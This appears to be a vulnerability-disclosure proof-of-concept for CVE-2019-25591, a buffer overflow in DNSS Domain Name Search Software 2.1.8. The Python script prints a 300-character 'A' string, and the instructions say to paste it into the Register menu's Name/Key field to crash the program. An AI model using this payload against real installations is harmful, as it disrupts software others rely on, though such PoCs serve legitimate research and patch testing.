CVE-2019-25591 DNSS缓冲区溢出漏洞

# Proof of Concept (PoC) for CVE-2019-25591 # Description: Buffer Overflow in DNSS Domain Name Search Software 2.1.8 # Usage: Copy the generated string and paste it into the Name/Key field in the Register menu. def generate_overflow_payload(): # The vulnerability is triggered by a string of approximately 300 characters # This size exceeds the allocated buffer for the registration key input. junk_buffer = 'A' * 300 return junk_buffer if __name__ == "__main__": payload = generate_overflow_payload() print("[+] Malicious payload generated:") print(payload) print(f"\n[+] Payload length: {len(payload)} characters") print("[+] Paste the payload into the vulnerable input field to trigger the crash.")